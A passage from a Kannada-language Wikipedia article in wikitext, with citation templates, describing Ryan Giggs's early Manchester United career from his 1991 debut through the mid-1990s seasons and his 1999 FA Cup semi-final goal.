ಪ್ರದರ್ಶನ ತೋರಿಸಿದಂತೆ ಅದೇ ಆಟವನ್ನು ಮರುಕಳಿಸಲಾಗಲಿಲ್ಲ.ಈ ಸಂದರ್ಭದಲ್ಲಿ ವಾಲೇಸ್ ತನ್ನ ಆಯ್ಕೆ 19ನೆಯ ವಯಸ್ಸಿನ [[ಲೀ ಶಾರ್ಪೆ]]ಯನ್ನು ಲೆಫ್ಟ್ ವಿಂಗರ್ ನ ಆಟಗಾರನ ಅನಿವಾರ್ಯತೆಯನ್ನು ಹೊಡೆದು ಹಾಕಿತು. ಲೀಗ್ ನ ಗಿಗ್ಸ್ ಆಟದಲ್ಲಿ ಚೊಚ್ಚಿಲ ಸ್ಪರ್ಧೆ [[ಎವರ್ಟನ್]] ನೊಂದಿಗೆ [[ಓಲ್ಡ್ ಟ್ರಾಫೊರ್ಡ್]] ನಲ್ಲಿ 2ಮಾರ್ಚ್ 1991ರಂದು ನಡೆಯಿತು.ಈತ ಫುಲ್ ಬ್ಯಾಕ್ ನ [[ಡೆನಿಸ್ ಇರ್ವಿನ್]] ನ ಬದಲಿ ಆಟಗಾರನಾದ,ಅದರಲ್ಲಿ2-0ರ ಪಾಯಿಂಟ್ ನಲ್ಲಿ ಸೋಲು ಕಾಣಬೇಕಾಯಿತು. [[ಮ್ಯಾಂಚೆಸ್ಟರ್ ದರ್ಬಿ]]ಯಲ್ಲಿ 4ಮೇ 1991ರಲ್ಲಿ ನಡೆದ ಪಂದ್ಯದಲ್ಲಿ ಆತನ ಮೊದಲ ಗೋಲ್ ಎನ್ನಲಾದ 1-0 ಗೆಲುವು ಕಂಡಿತು,ಆದರೆ ಇದು [[ಕೊಲಿನ್ ಹೆಂಡ್ರಿ]]ಯ ಸ್ವಯಂ ಗೋಲ್ ಎಂದು ಗೋಚರಿಸುವಂತಿತ್ತು. ಆದರೆ 11ದಿನಗಳನಂತರ ನಡೆದ [[ಬಾರ್ಸಿಲೋನಾ]]ದ [[UEFA ಕಪ್ ವಿನ್ನರ್ಸ್' ಕಪ್]]ನ ಫೈನಲ್ ನಲ್ಲಿನ 16 ಆಟಗಾರರ ತಂಡದಲ್ಲಿ ಆತ ಸೇರಿರಲಿಲ್ಲ. ನಂತರ ಲೀ ಶಾರ್ಪೆ ಯುನೈಟೆಡ್ ನ ನಿಯಮಿತ ಲೆಫ್ಟ್ ವಿಂಗರ್ ಡ್ಯಾನಿವಾಲೇಸ್ ನ ಸ್ಥಾನ ಆಕ್ರಮಿಸಿಕೊಳ್ಳುವಲ್ಲಿ ಯಶಸ್ವಿಯಾದ,ಯುನೈಟೆಡ್ ತಂಡದ ಲೆಫ್ಟ್ ವಿಂಗರ್ ಆಟಗಾರನಾಗಿ ಕಣಕ್ಕಿಳಿದ,ಆಗ ವಾಲೇಸ್ ನನ್ನು ಬದಲಿ ಆಟಗಾರನನ್ನಾಗಿ ನೇಮಿಸಲಾಯಿತು. ಆತ [[1991-92ರ ಪಂದ್ಯ]]ಗಳಲ್ಲಿ ನಿಯಮಿತ ಆಟಗಾರನಾಗಿ ಮೊದಲ ತಂಡಕ್ಕೆ ಸೇರ್ಪಡೆಯಾದ,ಹೀಗೆ ಆತ ಯುವ ಆಟಗಾರರ ತಂಡಕ್ಕೆ ಸಸಿರಿದ ಬಳಿಕ ಹಲವಾರು "[[ಫರ್ಗೀಸ್ ಫ್ಲೆಜಿಂಗ್ಸಗೆ]]" ಕಾರಣನಾಗಿ 1992ರ [[FA ಯುತ್ ಕಪ್]] ತಂದು ಕೊಡಲು ಪ್ರಮುಖ ಪಾತ್ರ ವಹಿಸಿದ. ಗಿಗ್ಸ್ ಕೇವಲ್ 17 ವರ್ಷದವನಾಗಿದ್ದರೂ ಆತನ ಚಾಣಾಕ್ಷತೆ ಮತ್ತು ಪ್ರಬುದ್ದ ಆಟದ ರೀತಿಯು ಮ್ಯಾಂಚೆಸ್ಟರ್ ಯುನೈಟೆಡ್ ಗೆ ಹೊಸ ಚೇತನವಲ್ಲದೇಮ್ ಇತರ ಕ್ರೀಡಾಳುಗಳಿಗೂ ಸ್ಪೂರ್ತಿ ತಂದಿತು. ಯುನೈಟೆಡ್ ಮೊದಲ ತಂಡದ ಅತ್ಯಂತ ಕಿರಿಯ ಆಟಗಾರನಾಗಿದ ಗಿಗ್ಸ್ ಹಿರಿಯ ಆಟಗಾರರಾದ [[ಬ್ರೇಯಾನ್ ರಾಬ್ಸನ್]] ಅವರ ಸಲಹೆ ಸೊಚನೆಗಳತ್ತ ಗಮನ ನೀಡಿದ.<ref name="Fordyce">{{cite news |first=Tom |last=Fordyce |title=The teenage tornado |url=http://news.bbc.co.uk/sport1/hi/football/teams/m/man_utd/3257103.stm |work=BBC Sport |publisher=British Broadcasting Corporation |date=12 November 2003 |accessdate=17 May 2009 }}</ref> ಹ್ಯಾರಿ ಸ್ವೇಲ್ಸ್ ಜೊತೆ ಗಿಗ್ಸ್ ಒಪ್ಪಂದಕ್ಕೆ ಸಹಿಹಾಕುವಂತೆ ರಾಬ್ಸನ್ ಶಿಫಾರಸು ಮಾಡಿದ,ಈತನೇ [[ಕೆವಿನ್ ಕೀಗನ]] ಮೂಲಕ ಇದನ್ನು ಆತ <ref name="Fordyce"/> ಪಡೆದುಕೊಂಡಿದ್ದ. ಆ ಋತುವಿನಲ್ಲಿ ಆಡಿದ ಪಂದ್ಯದಲ್ಲಿ ಗಿಗ್ಸ್ [[ಲೀಡ್ಸ್ ಯುನೈಟೆಡ್]] ನೊಂದಿಗೆ ರನ್ನರ್ ಅಪ್ ಗೆ ತೃಪ್ತಿಪಡಬೇಕಾಯಿತು.[[ಪ್ರಿಮಿಯರ್ ಲೀಗ್]] ಗೆ ಮುಂಚಿನ [[ಫರ್ಸ್ಟ್ ಡಿವಿಜನ್]] ನ ಅಂತಿಮ ವರ್ಷದಲ್ಲಿ ಇದನ್ನು ಮಾಡಿಕೊಳ್ಳಲಾಯಿತು ಯುನೈಟೆಡ್ ಬಹಳಷ್ಟು ಈ ಋತುವಿನಲ್ಲಿ ಉತ್ತಮ ಸಾಧನೆ ತೋರಿದರೂ ಏಪ್ರಿಲ್ ತಿಂಗಳ ಪಂದ್ಯಗಳು ಅದಕ್ಕೆ ನಿರಾಸೆಯನ್ನು ತಂದವಲ್ಲದೇ [[ವೆಸ್ಟ್ ಯಾರ್ಕ್ ಶೈರ್]] ಅದನ್ನು ಹಿಂದೆ ಹಾಕಿದಂತೆ ಭಾಸವಾಯಿತು. [[ಲೀಗ್ ಕಪ್ ಫೈನಲ್]] ನಲ್ಲಿ [[ನೊಟ್ಟಿಂಗ್ ಫಾರೆಸ್ಟ್]] ನ್ನು ಯುನೈಟೆಡ್ ಸೋಲಿಸಿದ ನಂತರ 12ಏಪ್ರಿಲ್ 1992ದಲ್ಲಿ ಗಿಗ್ಸ್ ಗೆ ಒಳ್ಳೆಯ ಮೆಚ್ಚುಗೆ ದೊರೆಯಿತು.ಗಿಗ್ಸ್ ಈ ಪಂದ್ಯದಲ್ಲಿ [[ಬ್ರೇನ್ ಮ್ಯಾಕ್ ಕ್ಲೇರ್]] ಗೆ ಇನ್ನುಳಿದ ಒಂದೇ ಗೋಲ್ ನ್ನು ಹೊಡೆಯಲು ಅವಕಾಶ ಬಿಟ್ಟು ಕೊಟ್ಟ. ಈ ಪಂದ್ಯಾವಳಿಗಳ ನಂತರ[[PFA ದ ವರ್ಷದ ಕಿರಿಯ ಆಟಗಾರ ಎಂಬ ಹೆಗ್ಗಳಿಕೆಗೆ ಪಾತ್ರನಾದ]] ಇದೇ ಪ್ರಶಸ್ತಿಯು ಆತನ ಸಹೋದ್ಯೋಗಿ ಲೀ ಶಾರ್ಪೆಗೆ ದೊರಕಿತ್ತು. === ಆರಂಭಿಕ ವೃತ್ತಿ === ಆರಂಭಿಕ [[1992-93]]ರ ಪಂದ್ಯಾವಳಿಯಲ್ಲಿ ಮೊದಲಿಗೆ ರಚನೆಯಾದ [[ಪ್ರಿಮಿಯರ್ ಲೀಗ್]] ಗಾಗಿ ಗಿಗ್ಸ್ [[ಯುನೈಟೆಡ್]] ತಂಡದ ಲೆಫ್ಟ್ ವಿಂಗರ್ ಮತ್ತು ಕಿರಿಯ ಆಟಗಾರನೆಂದು ಆತ ಆಯ್ಕೆಯಾದ.ಹೀಗೆ ಬ್ರಿಟ್ಶ್ ಫೂಟ್ಬಾಲ್ ನ ಅತ್ಯಂತಕಿರಿಯ ಬೆಳೆಯುವ ಪ್ರತ್ಭೆಯಾದ. ಸುಮಾರು 26 ವರ್ಷಗಳ ನಂತರ ಮೊದಲ ಟಾಪ್ ಡಿವಿಜನ್ ಟೈಟಲ್ ಪಡೆಯುವಲ್ಲಿ ಆತ ಪ್ರಮುಖ ಪಾತ್ರವಹಿಸಿದ್ದ.ಕ್ರಿಸ್ಮಸ್ ನಂತರದ ಸ್ಪರ್ಧೆಗಳಲ್ಲಿ ಅತಿ ವೆಚ್ಚದ [[ಆಸ್ಟನ್ ವಿಲ್ಲಾ]] ಮತ್ತು [[ಬ್ಲ್ಯಾಕ್ ಬರ್ನ್ ರೊವರ್ಸ್]] ,ಅದೂ ಅಲ್ಲದೇ ಟೈಟಲ್ ಗೆ ತೀವ್ರ ಪೈಪೋಟಿ ಒಡ್ಡಿದ್ದ [[ನಾರ್ವಿಕ್ ಸಿಟಿ]] ಅವರನ್ನು ಸಹ ಈ ವೇಳೆಗೆ ಎದುರಿಸಬೇಕಾಯಿತು. ಆತನ ಉತ್ತಮ ಆಟ ಮತ್ತು [[ಎರಿಕ್ ಕ್ಯಾಂಟೊನಾ]] ಆಗಮನವು ನಿವ್ ಲೀಗ್ ನಲ್ಲಿ ಹೊಸ ಪ್ರಾಬಲ್ಯ ತಂದಿತು. ಆತನ ಮ್ಯಾನೇಜರ್ ಯಾವಾಗಲೂ ಆತನನ್ನು ಇತರಿಂದ ಸಂರಕ್ಷಿಸುವಲ್ಲಿ ಸಫಲನಾಗಿದ್ದ,ಗಿಗ್ಸ್ 20 ವರ್ಷದವನಾಗುವವರೆಗೆ ಆತನ ಯಾವುದೇ ಸಂದರ್ಶನಕ್ಕೆ ಆತ ಅನುಮತಿ ನೀಡಲಿಲ್ಲ.ಬರಬರುತ್ತಾ ಆತನ ಮೊದಲ ಸಂದರ್ಶನವನ್ನು[[BBC]]ಯ [[ಡೆಸ್ ಲಿನಮ್]] ಜೊತೆಗೆ ''[[ಮ್ಯಾಚ್ ಆಫ್ ದಿ ಡೇ]]'' ಸಂದರ್ಶನಕ್ಕಾಗಿ [[1993-94]]ರಲ್ಲಿ ಅವಕಾಶ ಕೊಟ್ಟ. ಇದೇ ಅವಧಿಯಲ್ಲಿ ಯುನೈಟೆಡ್ ಡಬಲ್ ಗೆದ್ದುಕೊಂಡಿತು,ಇದರಲ್ಲಿ ಗಿಗ್ಸ್ ಒಬ್ಬ ಪ್ರಮುಖ ಆಟಗಾರ,ಈತನೊಂದಿಗೆ [[ಎರಿಕ್ ಕ್ಯಾಂಟೊನಾ]],[[ಪೌಲ್ ಇನ್ಸೆ]] ಮತ್ತು [[ಮಾರ್ಕ್ ಹಗಿಸ್]] ಮೊದಲಾದವರ ಕೊಡುಗೆಯೂ ಇತ್ತು. ಎರಡು ವರ್ಷಗಳ ಮೊದಲು ಎಡ ವಿಂಗ್ ಆಟಗಾರ ಲೀ ಶಾರ್ಪೆನನ್ನು ಗಿಗ್ಸ್ ಆಕ್ರಮಿಸಿದ,ಆತನೀಗ ರೈಟ್ ವಿಂಗ್ ಆಟಗಾರ [[ಅಂಡ್ರಿ ಕಂಚೆಲ್ಸ್ಕಿ]]ಯ ಕಡೆಗೆ ವಾಲಿದ್ದಾನೆ.ಆದರೆ ಇವ್ರಿಬ್ಬರೂ ಕ್ಲಬ್ ನ ಯಶಸ್ವಿಗಾಗಿ ಬಹಳಷ್ಟು ಹೋರಾಟ ಮಾಡಿದ್ದಾರೆ. ಅವರ ನಾಲ್ಕನೆಯ ಆಟವನ್ನು ತಮ್ಮ ಸುಪರ್ದಿಗೆ ಪಡೆದರು,ಆದರೆ ಎಲ್ಲಾ ಋತುಗಳಲ್ಲಿ ಪ್ರಾಬಲ್ಯ ಪಡೆಯುವುದಾಗಲಿಲ್ಲ. ಗಿಗ್ಸ್ [[ಫೂಟ್ಬಾಲ್ ಲೀಗ್ ಕಪ್]] ನ ಫೈನಲ್ ನಲ್ಲಿ ಆಡಿದ.ಅಲ್ಲಿ [[ಆಸ್ಟೆನ್ ವಿಲ್ಲಾ]]ಗೆ 3-1ರಲ್ಲಿ ಸೋತರು,ತಮ್ಮ ಸ್ಥಳೀಯ ಬಲ ಪ್ರದರ್ಶನಕ್ಕೆ ಇಲ್ಲಿ ಅವಕಾಶ ದೊರೆಯಲಿಲ್ಲ. ಆತನಿಗೆ ಹಲವಾರು ವಿಭಿನ್ನ ಅವಕಾಶಗಳ ಬಾಗಿಲು ತೆರೆಯಿತು,ಇಂತಹವು ಬೇರೆ ಯಾರಿಗೂ ಇಷ್ಟು ಕಿರಿಯ ವಯಸ್ಸಿನಲ್ಲಿ ದೊರೆತಿರಲಿಲ್ಲ,ಉದಾಹರಣೆಗಾಗಿ ಆತನ ವೈಯಕ್ತಿಕ [[ಟೆಲೆವಿಜನ್]] ಶೊ,''ರಿಯಾನ್ ಗಿಗ್ಸ್ ನ ಸಾಕರ್ ಸ್ಕಿಲ್ಸ್'' ಇದು 1994ರಲ್ಲಿ ಪ್ರಸಾರವಾಯಿತು.ಇದಕ್ಕೆ ಪೂರಕವಾದ ಸರಣಿ ಕುರಿತಾದ ಪುಸ್ತಕವೊಂದನ್ನು ಪ್ರಕಟಿಸಲಾಯಿತು. ವಿಶ್ವಕ್ಕೆ ತನ್ನನ್ನು ತಾನು ಜಾಗತಿಕವಾಗಿ ವಾಣಿಜ್ಯ ಸರಕಾಗಿಸುವ ಪ್ರಿಮಿಯರ್ ಲೀಗ್ ನ ಒಂದು ಸಕ್ರಿಯ ಭಾಗವಾಗಿದ್ದ,ಅದರ ಜನಪ್ರಿಯತೆಯ ಮಟ್ಟಕಡಿಮೆ ಮಾಡದಂತೆ ಆಗಿನ [[ದಾಂದಲೆ]] ಮಾಡಿದ್ದ ಪ್ರಸಂಗ [[1980 ವರ್ಷ]]ದಲ್ಲಿ [[ಉತ್ತಮ ಹೆಸರು ತರಲು]] ಗಿಗ್ಸ್ ತನ್ನ ಕೊಡುಗೆ ನೀಡಿದ್ದ. ಆತನ ನಿರ್ಲಕ್ಷ ಕಂಡುಬಂದರೂ ಕಿರಿಯ ಯುವಕನ ಚಾಣಾಕ್ಷತನದ ಆಟ ಎಲ್ಲರ ಜನಮನ ಸೆಳೆಯಿತು,"ಪ್ರಿಮಿಯರ್ ಶಿಪ್ ನ <ref name="football1">{{cite news |url=http://news.bbc.co.uk/sport1/hi/football/teams/m/man_utd/6376845.stm |title=Ryan Giggs in a league of his own |publisher=BBC Sport |date= |accessdate=10 March 2009 }}</ref> ಪೊಸ್ಟರ್ ಬಾಯ್ "ಎಂದು ಆತ ಹೆಸರಾದ.ಅಲ್ಲದೇ "<ref>{{cite web|last=Wallace |first=Sam |url=http://www.telegraph.co.uk/sport/2408537/Milestone-looming-for-Giggs.html |title=Milestone looming for Giggs |publisher=Telegraph |date=28 July 2003 |accessdate=10 March 2009 }}</ref> ಚಕಿತಗೊಳಿಸುವ ಹುಡುಗ"ಇದನ್ನು ಸಾರ್ವಜನಿಕವಾಗಿ ಎಲ್ಲರೂ ಅನಿವಾರ್ಯವಾಗಿ ಒಪ್ಪಿಕೊಳ್ಳಬೇಕಾಯಿತು. ಫೂಟ್ಬಾಲ್ ತಾರೆ [[ಜಾರ್ಜ್ ಬೆಸ್ಟ್]] ನ ತರುವಾಯ ಸಾರ್ವಜನಿಕ ವಲಯದಲ್ಲಿ ಮಿಂಚು ಕೋರೈಸುವ ಯುವ ಆಟಗಾರನಾಗಿ ಮಿಂಚಿದ,ವಿಚಿತ್ರವೆಂದರೆ ಅತ್ಯಂತ ಜನಪ್ರಿಯರಾಗಿದ್ದ ಬೆಸ್ಟ್ ಮತ್ತು [[ಬಾಬಿ ಚಾರ್ಲಟನ್]] ರು ಸಹ ಗಿಗ್ಸ್ ನನ್ನು ತಮ್ಮ ಮೆಚ್ಚಿನ ಕಿರಿಯ ಆಟಗಾರ ಎಂದು ಬಣ್ಣಿಸಿದರು.[[ದಿ ಕ್ಲಿಫ್]] ಕ್ರೀಡಾಂಗಣದಲ್ಲಿ ನಡೆಯುತ್ತಿರುವ ತರಬೇತಿ ಆಟಕ್ಕೂ ಅವರು ಹಾಜರಾದರು,ಅದಲ್ಲದೇ" ನಾವೂ ಆ ದಿನ ರಿಯಾನ್ ಗಿಗ್ಸ್ ಆಗಿದ್ದೆವು".ಎಂದು ಉದ್ಘರಿಸಿದ ದಿನ <ref name="nationalfootballmuseum1">{{cite web |url=http://www.nationalfootballmuseum.com/pages/fame/Inductees/ryangiggs.htm |title=Football Hall of Fame - Ryan Giggs |publisher=Nationalfootballmuseum.com |date= |accessdate=10 March 2009 |archive-date=4 ಆಗಸ್ಟ್ 2008 |archive-url=https://web.archive.org/web/20080804134521/http://www.nationalfootballmuseum.com/pages/fame/Inductees/ryangiggs.htm |url-status=dead }}</ref><ref name="nationalfootballmuseum1"/> ಅದಾಗಿತ್ತು. ಈತನ ಸತತ ಜನಪ್ರಿಯತೆಯು ಫೂಟ್ಬಾಲ್ ಆಟದ ವಲಯದಲ್ಲೇ ಹೊಸ ಯುಗವೊಂದನ್ನು ಹುಟ್ಟುಹಾಕಿತು."ಅದೂ ಅಲ್ಲದೇ ಈ ಹುಡುಗ ಮಿಲಿಯನ್ ಗಟ್ಟಲೆ ಎಳೆ ಹೃದಯಗಳನ್ನು ತನ್ನೆಡೆಗೆ ಸೆಳೆದುಕೊಂಡು ಯುನೈಟೆಡ್ ನ <ref>{{cite web |url=http://www.welshicons.org.uk/html/ryan_giggs.php |title=Ryan Giggs |publisher=Welsh Icons |date= |accessdate=10 March 2009 |archive-date=4 ಜೂನ್ 2012 |archive-url=https://www.webcitation.org/689oJm4fS?url=http://www.welshicons.org.uk/html/ryan_giggs.php |url-status=dead }}</ref> ಅಭಿಮಾನಿಗಳನ್ನಾಗಿಸಿದ". ಈತ 1990ರಲ್ಲಿ ಫೂಟ್ಬಾಲ್ ವಲಯದಲ್ಲಿ ಅಷ್ಟಾಗಿ ಜನಪ್ರಿಯತೆ ಇಲ್ಲವಾದ ಸಂದರ್ಭದಲ್ಲಿ ರಭಸದಿಂದ ಇದಕ್ಕೆ ನುಗ್ಗಿ ಜನಪ್ರಿಯತೆ ತಂದುಕೊಟ್ಟನಲ್ಲದೇ ಕಡಿಮೆ ಮಟ್ಟದ [[ದುಡಿಯುವ ವರ್ಗ]]ಕೂ ಆಶಾದಾಯಕ ಭಾವನೆಯನ್ನು ಮೂಡಿಸುವಲ್ಲಿ ಸಫಲನಾದ.ಗಿಗ್ಸ್ ಮತ್ತು [[ಲೈವರ್ ಪೂಲ್]] ನ [[ಜೇಮಿ ರೆಡ್ ನ್ಯಾಪ್]] ಮೊದಲಾದ ಆಟಗಾರರು ಯುವ ಪ್ರತಿಭೆಗಳ ಮಿಂಚುವಿಕೆಗೆ ಅವಕಾಶ ಮಾಡಿಕೊಟ್ಟರು. ಗಿಗ್ಸ್ ಆಟವಾಡುವ ಪಂದ್ಯಗಳಿಗಾಗಿ ಜನ ಮುನ್ನುಗ್ಗುತ್ತಿದ್ದರು;ರಸ್ತೆಗಳು ಸಂಚಾರ ಅಸ್ತವ್ಯಸ್ತ ಮತ್ತು ಟ್ರಾಫಿಕ್ ಜಾಮ್ ಗಳು <ref>{{cite web|author=Mike Pattenden |url=http://www.dailymail.co.uk/home/moslive/article-1041816/The-Life-Ryan-Giggs.html |title=The Life of Ryan Giggs &#124; Mail Online |publisher=Dailymail.co.uk |date=10 August 2008 |accessdate=10 March 2009 }}</ref> ಸಾಮಾನ್ಯವಾಗಿದ್ದವು. ಗಿಗ್ಸ್ ಹೇಗೆ ಆಟ ಆಡಿದನೆಂದರೆ "ಪ್ರತಿಭಾಶಾಲಿ" ಮತ್ತು ಫೂಟ್ಬಾಲ್ "ಮಾಂತ್ರಿಕ"ಎಂಬ ಶಬ್ದಗಳು ಆತನ ಸಹಚರರಾದ [[ಪೌಲ,ಇನ್ಸೆ]] ,[[ಗೇರಿ ಪಾಲ್ಲಿಸ್ಟರ್]] ಅವರಿಂದ ಬಂದವಲ್ಲದೇ ಈತನೊಬ್ಬ ಯುನೈಟೆಡ್ ತಂಡದ ಸಂರಕ್ಷಕ"ಎಂದೂ ಹೇಳಲಾಗುತ್ತಿತ್ತು.ಈ ತಂಡದವರಿಗೆ ಆತ ಸಮಯಕ್ಕಾಗುವ ಬಂಧುವಿನಂತೆ ಕೆಲಸ ಮಾಡಿದ್ದಾನೆ. ಆತನ ತಂಡದಲ್ಲಿದ ಅತ್ಯಧಿಕ ಅನುಭವಿ ಆಟಗಾರರು ಸಹ ಆತನ ಚೊಚ್ಚಿಲ ಪಂದ್ಯದಲ್ಲೇ ಆತನನ್ನು ಮೆಚ್ಚಿ ಹರಸಿದರು.ಅದೇ ತೆರನಾಗಿ ಮೊದಲ ತಂಡಕ್ಕೆ ಗಿಗ್ಸ್ ಯಾವಾಗ ಆಯ್ಕೆಯಾಗುತ್ತಾನೆ ಎಂದು ಕೇಳುವುದು <ref name="football1"/> ಸಾಮಾನ್ಯವಾಗಿತ್ತು. [[ಸ್ಟೆವ್ ಬ್ರುಸ್]] ಅಂದಂತೆ "ಯಾವಾಗ ಗಿಗ್ಸ್ ಓಡಲು ಆರಂಭಿಸುತ್ತಾನೋ ಆಗ ಆತ ಗಾಳಿಯಂತೆ ವೇಗವಾಗಿ ಓಡುತ್ತಾನೆ." ಆತ ತಾನೋಡುವ ಪಾದಗಳಲ್ಲಿ ಅಷ್ಟೊಂದು ಗರಿಯಂತೆ ಹಗುರಾಗಿದ್ದಾನೆಂದು ಊಹಿಸಲಿಕ್ಕಾಗುವದಿಲ್ಲ. ಆತನ ಈ ನೈಸರ್ಗಿಕ ದೇಹವು ಎಷ್ಟು ಸೂಕ್ತವಾಗಿ ರಚನೆಯಾಗಿದೆ ಎಂದರೆ ಅತ್ಯಂತ ಪ್ರಖ್ಯಾತಿ ಹೊಂದಿದ ಆಟಗಾರನ ಶಾರೀರ ಆತನದಿದೆ. ಇಲ್ಲಿ [ಡೇವಿಡ್ ]ಬೆಕ್ ಹ್ಯಾಮ್ ಮತ್ತು [[ಸ್ಕೂಲ್ಸೆ]] ಯನ್ನು ಗೌರವಿಸುವುದಿಲ್ಲ ಅಂತಲ್ಲ ಆದರೆ ಈತನೊಬ್ಬನೇ ಯಾವಾಗಲೂ ಸೂಪರ್ ಸ್ಟಾರ್ ಎಂದು ಎಲ್ಲರು ಉದ್ಘರಿಸಲು <ref name="football1"/> ಆರಂಭಿಸಿದರು. ಗಿಗ್ಸ್ ಅತ್ಯಧಿಕ ಗೋಲ್ ಬಾರಿಸುವವ ಎಂಬ ಹೆಗ್ಗಳಿಕೆಗೆ ಪಾತ್ರನಾದ,ಆತನ ಹಲವಾರು ಗೋಲ್ ಗಳನ್ನು ಆಯಾ [[ಋತುವಿನಲ್ಲಿ ಗೋಲ್]] ಗಳ ಮೂಲಕ ಕ್ರೀಡೆಗಳಲ್ಲಿ ಆತ ಸಾಧಿಸಿದ್ದನ್ನು ದಾಖಲಿಸಲಾಗಿದೆ. ಅದರಲ್ಲೂ ಆತ ಅತ್ಯಂತ ಉತ್ತಮ ಪ್ರದರ್ಶನ ನೀಡಿದ್ದ ಅಂದರೆ [[ಕ್ವೀನ್ಸ್ ಪಾರ್ಕ್ ರೇಂಜರ್ಸ್]] ವಿರುದ್ದ 1993ರಲ್ಲಿ,[[ಟೊಟ್ಟೆನ್ ಹ್ಯಾಮ್]] 1994ರಲ್ಲಿ,[[ಎವರ್ಟಾನ್]] 1995ರಲ್ಲಿ,[[ಕಾವೆಂಟ್ರಿ]] 1996ರಲ್ಲಿ,ಮತ್ತು ಇವೆಲ್ಲವುಗಿಂತಲೂ ಹೆಸರುವಾಸಿಯಾದದ್ದೆಂದರೆ [[ಅರ್ಸೆನಲ್]] ವಿರುದ್ದದ 1999ರಲ್ಲಿನ ಏಕೈಕ ವೈಯಕ್ತಿಕ ಗೋಲ್ ಇದು[[FA ಕಪ್]] ನ ಸೆಮಿಫೈನಲ್ ನಲ್ಲಿ ಅತಿ ಹೆಚ್ಚು ಗಮನ ಸೆಳೆಯಿತು. ಎಕ್ಷ್ಟ್ರಾ ಟೈಮ್ ನ ಸಮಯದಲ್ಲಿ [[ಪಾಟ್ರಿಕ್ ವೀರಾ]] ಬಾಲ್ ನ್ನು ಪಡೆದ ನಂತರ ಅರ್ಧ ಗೆರೆಯಿಂದ ಓಡಿದ ಆತ ಇಡೀ ಅರ್ಸೆನಲ್ ನ ಬ್ಯಾಕ್ ಲೈನ್ ಗೆ ಬಂದು ತನ್ನ ಸಹಚರರಾದ [[ಟೊನಿ ಆಡಮ್ಸ್]] ,[[ಲೀ ಡಿಕ್ಷೊನ್]] ಮತ್ತು [[ಮಾರ್ಟಿನ್ ಕೆಯೊನ್]] ಅವರಿಂದ ಪಾಸ್ ಆದ ಚೆಂಡನ್ನು ಕಣ್ತೆರೆಯುದರಲ್ಲಿಯೇ [[ಡೇವಿಡ್ ಸೀಮನ್]] ನ ಕೆಳಭಾಗದಿಂದ ಚೆಂಡನ್ನು ಆತ ತನ್ನ ಎಡಗಾಲಿನ ಸ್ಟ್ರೈಕ್ ಮುಖಾಂತರ ಗುರಿ ತಲುಪಿಸಿದ. ಆ ಕೂಡಲೇ ತನ್ನ ಶರ್ಟ್ ನ್ನು ಬಿಚ್ಚಿ ಓಡಿ ತನ್ನ ಸಾಧನೆಯನ್ನು ತೋರ್ಪಡಿಸಲು ತನ್ನ ತಂಡದ ಸದಸ್ಯರ ಹತ್ತಿರ ಬರಲು ಮುಂದಾದ. ಇದು [[FA ಕಪ್]]ನ ಸಿಮಿಫೈನಲ್ ನಲ್ಲಿ ಅಂತಿಮವಾಗಿ ಚಾಣಾಕ್ಷತೆಯಿಂದ ಬಾರಿಸಿದ ಗೋಲಾಗಿತ್ತು.[[FA ಕಪ್]]ನ ಸೆಮಿಫೈನಲ್ ಗಳು ಒಂದೇ ಆಟದಲ್ಲಿ ನಿರ್ಣಯವಾಗಿದ್ದು ಬಹಳ ಅಪರೂಪ,ಈ ಗೋಲ್ ಗಳು ಸಾಮಾನ್ಯವಾಗಿ [[ಎಕ್ಷ್ಟ್ರಾ ಟೈಮ್]] ಮತ್ತು [[ಪೆನಾಲ್ಟಿ ಶೂಟೌಟ್]] ಗಳನ್ನು ಬೇಕಿದ್ದರೆ ಪಡೆದು ಗೋಲ್ ಬಾರಿಸಿದ ಉದಾಹರಣೆಗಳುಂಟು. ಇಸವಿ [[1994-95]]ರಲ್ಲಿ ಗಾಯಗೊಂಡ ಸ್ಥಿತಿಯಲ್ಲಿದ್ದುದರಿಂದ ಕೇವಲ 29 ಪ್ರಿಮಿಯರ್ ಲೀಗ್ ಆಟಗಳು ಮತ್ತು ಒಂದೇ ಗೋಲ್ ಗೆ ಗಿಗ್ಸ್ ಸೀಮಿತಗೊಂಡ,ಆದರೆ ನಂತರದ ಸಂದರ್ಭದಲ್ಲಿ ಆತ ಚೇತರಿಸಿಕೊಂಡು ಮತ್ತೆ ಫಾರ್ಮ್ ಗೆ ಮರಳಿದನಾದರೂ ಯುನೈಟೆಡ್ ಗೆ ಪ್ರಮುಖ ಟ್ರೋಫಿಗಳನ್ನು ತರುವಲ್ಲಿ ಸಫಲನಾಗಲಿಲ್ಲ. ಆ ಸೀಜನ್ನಿನಲ್ಲಿ [[ವೆಸ್ಟ್ ಹ್ಯಾಮ್ ಯುನೈಟೆಡ್]] ನ್ನು ಕೊನೆದಿನ ಸೋಲಿಸಲು ಆಗದೇ ಪ್ರಿಮಿಯರ್ ಲೀಗ್ ಟೈಟಲ್ ನ್ನು [[ಬ್ಲ್ಯಾಕ್ ಬರ್ನ್ ರೊವರ್ಸ್]] ಗೆ ಬಿಟ್ಟುಕೊಡಲಾಯಿತು. ಒಂದು ವಾರದ ನಂತರ ಗಿಗ್ಸ್ FA ಕಪ್ ಫೈನಲ್ ಪಂದ್ಯದಲ್ಲಿ [[ಎವರ್ಟಾನ್]] ವಿರುದ್ದ ಬದಲಿ ಆಟಗಾರನಾಗಿ ಆಡಿದ;ಆದರೆ ಯುನೈಟೆಡ್ 1-0 ಯಿಂದ ಸೋಲುಂಡಿತು. ಈ ಪಂದ್ಯಾವಳಿಯ ಋತು ಆಟಗಾರರಿಗೂ ಮತ್ತು ಕ್ಲಬ್ ಗೂ ಬೇಸರ ತರಿಸುವ ವಿಷಯವಾಯಿತು.ಗಿಗ್ಸ್ ಒಬ್ಬನನ್ನೇ ಪ್ರಮುಖ ಆಟಗಾರನೆಂದು ಆ ಕಠಿಣ ಸಂದರ್ಭದ ಕ್ರೀಡೆಗಳು ಹೇಳಲಿಲ್ಲ. ಸದಸ್ಯರಾದ [[ರೊಯ್ ಕೀನೆ,]][[ಲೀ ಶಾರ್ಪೆ]],[[ಅಂಡ್ರೆ ಕಂಚೆಲ್ಸ್ಕಿಸ್]] ಅವರುಗಳು ಗಾಯಗಳಿಂದಾಗಿ ಪಂದ್ಯಗಳಿಗೆ ಗೈರು ಹಾಜರಾದರು.[[ಎರಿಕ್ ಕ್ಯಾಂಟೊನಾ]] ಕೂಡಾ ಲೀಗ್ ಕ್ಯಾಂಪೇನ್ ನ ನಾಲ್ಕು ತಿಂಗಳು 